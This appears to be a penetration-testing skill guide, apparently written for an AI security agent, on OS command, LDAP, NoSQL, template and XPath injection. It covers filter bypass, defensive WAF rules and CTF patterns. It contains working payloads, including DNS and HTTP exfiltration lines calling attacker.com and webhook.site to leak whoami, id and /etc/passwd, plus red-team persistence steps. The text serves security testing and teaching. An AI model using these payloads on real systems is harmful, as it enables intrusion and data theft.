Skill: Advanced Command Injection

Supplementary Files:

• payloads.md -- Injection payloads organized by 10 categories (OS command basics, filter bypass, LDAP injection, NoSQL injection, template injection, XPath injection, encoding/obfuscation, context-specific, blind injection, CyberGym templates)
• test-cases.md -- Structured test cases with severity levels (6 test cases covering command injection bypass, LDAP auth bypass, NoSQL injection, SSTI RCE, XPath injection, template engine exploitation)
• guides/command-injection-filter-bypass.md -- Comprehensive filter bypass techniques (space bypass, keyword bypass, encoding tricks)
• guides/ldap-nosql-injection-guide.md -- LDAP filter injection and MongoDB/Redis exploitation
• guides/ssti-exploitation-guide.md -- Template injection for RCE (Jinja2/Thymeleaf/FreeMarker)
• guides/blind-injection-techniques.md -- Time-based, DNS exfil, HTTP callbacks, error-based

Summary

Advanced Command Injection skill domain covering web attack operations beyond SQL injection.

Tools: commix, Burp Suite, ldapsearch, nosqli, tplmap, sqlmap, payload generators, filter analyzers, encoding scripts, callback servers

Domain: web-attack

OWASP: A03:2021-Injection

MITRE ATT&CK: TA0002-Execution

Description

Advanced injection attacks expand beyond SQL to target diverse interpreters and execution engines across web applications. This skill covers OS command injection (shell command execution), LDAP injection (authentication bypass), NoSQL injection (MongoDB/Redis exploitation), template injection (SSTI for RCE), XPath injection (XML data extraction), and comprehensive filter bypass techniques.

Six Core Injection Types:

• OS Command Injection: Malicious shell commands are injected into application parameters that invoke system commands. Exploitation leverages command separators (;, |, &&, ||), command substitution (`, $()), and filter bypass techniques (IFS, encoding, null bytes). Target impact: arbitrary code execution, file system access, network pivoting.

• LDAP Injection: User-controlled input is inserted into LDAP queries without proper escaping. Attackers manipulate filters using wildcards (*), boolean operators (&, |), and parentheses to bypass authentication or extract directory data. Commonly found in enterprise login portals and directory search features.

• NoSQL Injection: Targets document databases (MongoDB) and key-value stores (Redis) that use JSON, JavaScript, or custom query languages. Exploits operator injection ($where, $ne, $gt), JavaScript eval contexts, and command execution primitives (Redis EVAL, SCRIPT). Can lead to authentication bypass, data exfiltration, or RCE.

• Template Injection (SSTI): Server-Side Template Injection occurs when user input is embedded directly into template engines (Jinja2, Thymeleaf, FreeMarker, Pug) without sanitization. Attackers leverage template syntax to access internal objects, invoke methods, and achieve remote code execution through expression evaluation.

• XPath Injection: Malicious XPath syntax is injected into XML queries, allowing attackers to bypass authentication, extract node data, or traverse document structure. Similar to SQL injection but targets XML databases and XML-based authentication systems.

• Filter Bypass Techniques: Advanced methods to evade input validation, WAFs, and blacklist filters - including space bypass (${IFS}, $IFS$9, tabs), keyword bypass (string concatenation, wildcards, case manipulation), encoding (URL, Unicode, hex, octal, base64), and context-specific tricks (bash brace expansion, PowerShell obfuscation).

Attack Surface: Web forms, API parameters, HTTP headers, file upload handlers, template renderers, authentication systems, search interfaces, configuration panels, CI/CD pipelines, serverless functions.

Use Cases

1. Web Application Penetration Testing: Systematically probe command execution points (ping utilities, file processors, system tools), LDAP authentication interfaces, NoSQL query endpoints, and template renderers. Construct payloads to demonstrate exploitability and measure impact scope.

2. Bug Bounty Hunting: Identify injection vulnerabilities in modern web stacks - serverless functions (AWS Lambda), container orchestration APIs, CI/CD webhooks, GraphQL resolvers, and microservice backends. Focus on high-value targets like authentication bypass and RCE chains.

3. CyberGym Challenge Solving: Target IN1-IN4 bug classes with filter-aware payloads, blind injection techniques, and multi-stage exploitation chains. Adapt to restricted environments with encoding obfuscation and protocol-level manipulation.

4. Security Code Audit: Review application code for unsafe command construction (os.system(), subprocess.call()), LDAP query builders, NoSQL query objects, template rendering logic, and XPath evaluators. Identify missing input validation and output encoding.

5. Red Team Operations: Chain injection vulnerabilities with other attack vectors - SSRF to internal services, file upload to webshell, SSTI to reverse shell, LDAP injection to credential theft. Build multi-stage payloads for defense evasion and persistence.

6. Filter and WAF Bypass Research: Analyze blacklist patterns, encoding normalization bugs, and parser differentials. Develop bypass techniques for commercial WAFs (ModSecurity, CloudFlare, AWS WAF) and custom input filters.

---

Core Tools

Tool	Purpose	Command Example
commix	Automated OS command injection detection and exploitation	commix -u "http://target/ping?host=127.0.0.1" --batch --technique=TFBSC
Burp Suite	HTTP interception, parameter tampering, injection testing, payload encoding	Repeater: modify POST body to inject SSTI payload
ldapsearch	LDAP query testing and filter manipulation	ldapsearch -x -H ldap://target -b "dc=example,dc=com" "(uid=admin*)"
nosqli	NoSQL injection scanner for MongoDB, CouchDB	python nosqli-scan.py -t http://target/api/login -p username,password
tplmap	Template injection detection and exploitation (Jinja2, Mako, etc.)	python tplmap.py -u "http://target/view?name=test"
sqlmap	Multi-purpose injection tool (supports OS command via --os-cmd)	sqlmap -u "URL" --os-shell --technique=E
payload generators	Custom script tools for encoding, obfuscation, format conversion	python3 bypass-generator.py --payload "cat /etc/passwd" --encoding url,hex
filter analyzers	Blacklist detection and bypass suggestion tools	python3 filter-probe.py --target http://target/exec --wordlist keywords.txt
encoding scripts	Hex, octal, Unicode, base64 encoding utilities	echo "id" | xxd -p (hex), printf '\\x69\\x64' (octal)
callback servers	Out-of-band detection (DNS exfil, HTTP callbacks)	Burp Collaborator, interact.sh, webhook.site

Auxiliary tools: CyberChef (multi-stage encoding), Hackvertor (Burp encoding plugin), parameth (parameter discovery), Arjun (hidden parameter scanner), ffuf (fuzzing), wfuzz (payload iteration).

---

Methodology

Attack Chain

[1] Input Point             [2] Injection Testing      [3] Filter Bypass
    Discovery                  - Syntax probes            - Encoding obfuscation
  - Command execution          - Context analysis         - Keyword alternatives
  - LDAP authentication        - Error message analysis   - Space/separator tricks
  - NoSQL query endpoints      - Behavior comparison      - Null byte injection
  - Template renderers              |                         |
  - XPath evaluators               v                         v
       |                      [4] Exploitation          [5] Post-Exploitation
       v                        - RCE payload delivery    - Reverse shell upgrade
  Authentication bypass          - Data exfiltration       - Credential harvesting
  Data extraction                - Privilege escalation    - Lateral movement
  Service enumeration            - Blind injection         - Persistence mechanisms

Stage 1: Input Point Discovery

• Command execution surfaces: Network utilities (ping, traceroute, nslookup), file processors (ImageMagick, FFmpeg), backup/restore functions, system info panels
• LDAP injection points: Login forms with AD/LDAP backend, directory search, employee lookup, SSO authentication
• NoSQL endpoints: REST APIs with JSON bodies, GraphQL queries, search filters, aggregation pipelines
• Template contexts: Email templates, PDF generators, markdown renderers, CMS themes, report builders
• XPath targets: XML-based authentication, SOAP APIs, RSS/Atom feed parsers, configuration file processors

Stage 2: Injection Testing

• OS command probes: Test command separators (;, |, &&, ||), command substitution (`, $()), and basic syntax variations
• LDAP filter tests: Test wildcard patterns, boolean operators (*, &, |), and parenthesis manipulation
• NoSQL operator injection: Test database-specific operators like comparison operators and regex patterns
• SSTI detection: Test mathematical expressions with multiple template syntaxes to identify engine
• XPath syntax: Test boolean logic, string functions, and XML node traversal

Stage 3: Filter Bypass

• Space bypass: Test alternative whitespace characters, bash parameter expansion, and file input redirection techniques
• Keyword bypass: Test quote insertion, case manipulation, character classes, and string concatenation via variable expansion
• Encoding chains: Test URL encoding, hex encoding, octal encoding, and base64 decoding in subshells
• Context-specific tricks: Test bash brace expansion, PowerShell obfuscation, and interpreter-specific syntax
• Null byte injection: Test null byte truncation for command-line filters

Stage 4: Exploitation

• OS command RCE: Use command substitution to execute arbitrary shell commands, establish reverse shells via network protocols
• LDAP auth bypass: Manipulate filter logic to bypass authentication checks, extract user attributes via boolean-based blind injection
• NoSQL RCE: Leverage JavaScript eval contexts in document databases, chain injection with server-side script execution
• SSTI RCE (multi-engine): Access internal object hierarchies, import dangerous modules, execute system commands via template syntax
• XPath data extraction: Use XPath functions (substring, contains, starts-with) for binary search data extraction

Stage 5: Post-Exploitation

• Upgrade to interactive shell (Python pty, script pty)
• Harvest credentials from environment variables, config files, databases
• Pivot to internal services (SSH, databases, admin panels)
• Establish persistence (cron jobs, startup scripts, backdoor accounts)

1. OS Command Injection

Basic Detection

• Test time-based delays with sleep commands to confirm execution
• Test output redirection to temporary files to verify command execution
• Test out-of-band data exfiltration via DNS queries or HTTP callbacks
• Observe response timing and content to determine injection success

Filter Bypass - Space Replacement

Use commix tool for automated space bypass detection, or apply manual techniques:

• Internal Field Separator (IFS) variable expansion in bash
• Alternative whitespace characters (tab, newline, form feed)
• Brace expansion without spaces (bash-specific)
• Input redirection operators without spaces

Filter Bypass - Keyword Evasion

Bypass blacklist filters using:

• Quote insertion (empty quotes between characters)
• Backslash escaping of individual characters
• Variable expansion with empty or controlled values
• Wildcard and glob patterns
• Base64 encoding with decoding in subshells

Advanced Techniques

Use automated tools:

• commix: Automated OS command injection detection with multiple techniques
• Blind detection: Time-based delays or out-of-band callbacks via DNS/HTTP
• Data exfiltration: Use DNS queries, HTTP requests, or file I/O for blind injection confirmation

---

2. LDAP Injection

Authentication Bypass

LDAP filter syntax uses boolean logic (& for AND, | for OR) and wildcards (*). Injection manipulates these operators.

Techniques:

• Wildcard injection to match any user
• Boolean operator injection to create tautologies
• Closing parenthesis bypass to manipulate filter structure
• Attribute-based matching to bypass password verification

Data Extraction via Blind Injection

# Length enumeration - determine attribute length
username: admin)(|(uid=*  # Always true
username: admin)(|(uidNumber>=1000)  # Test numeric ranges

# Binary search for specific characters
# If "a" is first character of sn (surname):
username: admin)(|(sn=a*)  # True if starts with "a"
username: admin)(|(sn=b*)  # False if doesn't start with "b"

# Enumerate all users
ldapsearch -x -H ldap://target -b "dc=example,dc=com" "(uid=*)"

# Extract specific attributes
ldapsearch -x -H ldap://target -b "dc=example,dc=com" "(uid=admin)" sn mail telephoneNumber

LDAP Injection Testing Tools

# Manual testing with curl (HTTP to LDAP bridge)
curl -X POST http://target/login \
  -d "username=admin*)(%26(uid=*&password=test"

# Automated scanning
ldapdomaindump ldap://target -u 'DOMAIN\user' -p 'password'

# Fuzzing LDAP filters
wfuzz -c -z file,ldap-injections.txt \
  "http://target/search?query=FUZZ"

---

3. NoSQL Injection

MongoDB Operator Injection

NoSQL databases use operators for query construction instead of SQL syntax.

Techniques:

• Comparison operators to match any value without password verification
• Regex operators for pattern-based username enumeration
• Field existence checks
• JavaScript eval clauses (if enabled in configuration)

Tool: Use nosqlmap for automated operator detection and exploitation.

Redis Command Injection

Redis Lua scripting via EVAL command can execute system commands.

Concept: Chain Lua script execution with system command primitives.

Technique: Via SSRF vulnerability using gopher protocol to access internal Redis → execute Lua RCE chain.

Tool: redis-cli for direct access, Burp Suite for protocol-level crafting.

---

4. Template Injection (SSTI)

Detection Phase

Test multiple template syntaxes to identify template engine:

Polyglot detection approach: Send expressions from multiple template engines, analyze which syntax evaluates vs. remains literal. Position of evaluation indicates engine type.

Tool: Use tplmap for automated polyglot detection across all supported engines.

Engine Fingerprinting

Each template engine has distinct markers and accessible objects:

• Jinja2 (Python): Flask config object access, class hierarchy traversal via __mro__
• Thymeleaf (Java): T() operator for Java class access, Spring context objects
• FreeMarker (Java): Specific class instantiation syntax, ObjectConstructor patterns
• Twig (PHP): Environment manipulation, filter chaining for function execution
• Smarty (PHP): PHP code execution blocks, system function access
• Pug (Node.js): Global process object access, child_process module availability

Tool: tplmap fingerprints and identifies engine automatically.

Exploitation

Each template engine has distinct RCE chains based on available classes and functions.

Jinja2 approach: Access class hierarchy to locate executable classes, import system modules.

Thymeleaf approach: Use T() operator for Java Runtime.exec() and process execution.

FreeMarker approach: Instantiate Execute class or ObjectConstructor for command execution.

Twig/Smarty approach: Manipulate filter callbacks or register dangerous functions.

Pug approach: Access global process object for child_process execution.

Tool: tplmap automates full exploitation chain for identified engine.

---

5. XPath Injection

Authentication Bypass

XPath uses boolean logic for query conditions. Inject logic operators to manipulate filters.

Techniques:

• Tautology creation via boolean OR operators
• Comment injection to ignore password requirements
• Quote and parenthesis manipulation
• Axis traversal with parent/ancestor nodes

Concept: Restructure XPath query to always evaluate as true regardless of credentials.

Blind XPath Injection

Extract data without direct output visibility via binary search.

Functions available in XPath:

• string-length() for length enumeration
• substring() for character extraction
• starts-with() and contains() for pattern matching
• count() for node enumeration
• name() for node name extraction

Technique: Boolean-based inference through response timing or error analysis.

---

Defense Perspective

Input Validation and Sanitization

OS Command Injection Prevention:

• Never pass user input directly to shell commands (os.system(), subprocess.call() with shell=True, PHP exec())
• Use parameterized APIs: Python subprocess.run(['/usr/bin/ping', '-c', '1', user_input]), Node.js child_process.execFile()
• Whitelist allowed characters: alphanumeric, specific symbols (., -, _)
• Reject command separators: ;, |, &, $, `, \n, \r

LDAP Injection Prevention:

• Use LDAP escaping functions: Python ldap3.utils.conv.escape_filter_chars(), Java LdapEncoder.filterEncode()
• Escape special characters: *, (, ), \, /, NUL
• Use parameterized LDAP queries where possible
• Implement strict input validation for usernames (alphanumeric + specific symbols)

NoSQL Injection Prevention:

• Cast user input to expected types: parseInt(), String(), schema validation
• Avoid $where clause - use safer query operators
• Use ORM/ODM parameterized queries: Mongoose schemas, pymongo with strict types
• Implement input validation: reject objects, only accept strings/numbers

Template Injection Prevention:

• Never pass user input directly to template engines
• Use sandboxed template modes: Jinja2 SandboxedEnvironment, FreeMarker TemplateConfiguration
• Disable dangerous features: Jinja2 autoescape=True, disable from __future__ import
• Separate data from templates - only pass data objects, never raw template strings

XPath Injection Prevention:

• Use parameterized XPath queries: C# XPathNavigator with compiled expressions
• Escape user input: Java XPathFactory with variable resolvers
• Validate input against whitelist patterns
• Use XML databases with prepared statement support

Detection and Monitoring

# WAF rules to detect injection attempts
# Command injection signatures
SecRule ARGS "@rx (?:;|\||&&|\$\(|`)" "id:1001,deny,status:403"

# LDAP injection signatures
SecRule ARGS "@rx (?:\*\)|\(.*\||\)\(|objectClass)" "id:1002,deny,status:403"

# NoSQL injection signatures
SecRule REQUEST_BODY "@rx (?:\$ne|\$gt|\$where|\$regex)" "id:1003,deny,status:403"

# SSTI signatures
SecRule ARGS "@rx (?:\{\{.*\}\}|\$\{.*\}|<%=.*%>|#\{.*\})" "id:1004,deny,status:403"

Security Testing Checklist

• All user input validated against whitelist patterns
• Command execution uses parameterized APIs, never shell=True
• LDAP queries use escaping functions for special characters
• NoSQL queries cast input to expected types, reject objects
• Template engines use sandboxed modes with autoescape enabled
• XPath queries use parameterized or compiled expressions
• Error messages don't leak implementation details (stack traces, query structure)
• Rate limiting applied to authentication endpoints
• Logging captures all injection attempts with full payload
• Regular security audits for new injection vectors

---

Advanced Techniques

Polyglot Payloads

Payloads that work across multiple contexts or injection types.

# OS command injection polyglot (multiple separators)
;id|whoami&hostname`uname -a`$(pwd)

# SSTI polyglot (multiple template engines)
{{7*7}}${7*7}#{7*7}<%= 7*7 %>${{7*7}}

# LDAP/NoSQL/XPath authentication bypass polyglot
' or '1'='1' --
admin' or '1'='1' /*
{"$ne": null}

# Encoding chain polyglot
%253B%2569%2564          # Double URL-encoded ;id
\x3B\x69\x64             # Hex encoded ;id
\073\151\144             # Octal encoded ;id

Context-Specific Bypass

Windows Command Injection

# PowerShell-specific bypass
; powershell -c "whoami"
| powershell -enc <base64>

# CMD-specific bypass
& dir C:\
&& type C:\Windows\System32\drivers\etc\hosts

# Environment variable obfuscation
%COMSPEC% /c whoami
%SystemRoot%\System32\cmd.exe /c dir

Python-Specific Payloads

# Python subprocess injection
__import__('os').system('id')
__import__('subprocess').check_output(['id'])

# Python eval injection (NoSQL $where, SSTI)
eval('__import__("os").system("id")')
compile('__import__("os").popen("id").read()','','single')

Blind Injection Techniques

Time-Based Detection

# OS command injection (universal)
; sleep 5 #
| ping -c 5 127.0.0.1 #
&& timeout 5 #

# NoSQL MongoDB (JavaScript eval)
{"$where": "sleep(5000)"}

# XPath (limited time-based functions)
' or contains(//user[1]/password,'a') and sleep(5) or '1'='2

DNS Exfiltration

# OS command injection
; nslookup $(whoami).attacker.com #
| dig $(cat /etc/passwd | base64 | head -c 50).attacker.com #

# SSTI (Jinja2)
{{config.__class__.__init__.__globals__['os'].popen('nslookup $(whoami).attacker.com').read()}}

# NoSQL (if exec allowed)
{"$where": "global.process.mainModule.require('child_process').execSync('nslookup $(whoami).attacker.com')"}

HTTP Callback

# Burp Collaborator / interact.sh / webhook.site
; curl http://burpcollaborator.net/$(whoami) #
| wget http://webhook.site/xxx?data=$(id|base64) #

# SSTI callback
{{config.__class__.__init__.__globals__['os'].popen('curl http://attacker.com/?c=$(id)').read()}}

Filter Evasion Techniques

Case Manipulation

Concept: Some systems allow case-insensitive command execution.

Method: Mix uppercase and lowercase characters in command names.

Wildcard Obfuscation

Concept: Use glob patterns with ? and * wildcards to match filesystem paths.

Method: Replace command name segments with wildcard patterns.

String Concatenation

Concept: Reconstruct commands via variable assignment and expansion.

Methods:

• Bash variable expansion and concatenation
• Quote insertion to break keywords
• Environment variable path manipulation

---

CyberGym Challenge Patterns

IN1-IN4 Bug Class Exploitation

Based on v0.1.46 trace analysis, IN1-IN4 challenges show common patterns:

Pattern 1: Filter-Aware Encoding

• Challenge applies character blacklist (;, |, &, spaces)
• Solution approach: Use alternative whitespace, brace expansion, encoding chains
• Tool: commix with progressive level testing

Pattern 2: Blind Command Execution

• No direct output in HTTP response
• Solution approach: Time-based detection, DNS/HTTP callbacks
• Tool: commix with blind detection modes

Pattern 3: LDAP Authentication Bypass

• Backend uses LDAP for authentication validation
• Solution approach: Wildcard injection, boolean operator manipulation
• Tool: Manual testing via login forms or ldapsearch

Pattern 4: NoSQL Operator Injection

• JSON-based API login endpoint
• Solution approach: Test comparison operators ($ne, $gt, $regex)
• Tool: nosqlmap

Pattern 5: SSTI in Template Context

• User input rendered in email template, report generator
• Solution approach: Polyglot detection, engine fingerprinting, RCE chain
• Tool: tplmap for automated exploitation

Payload Adaptation Strategy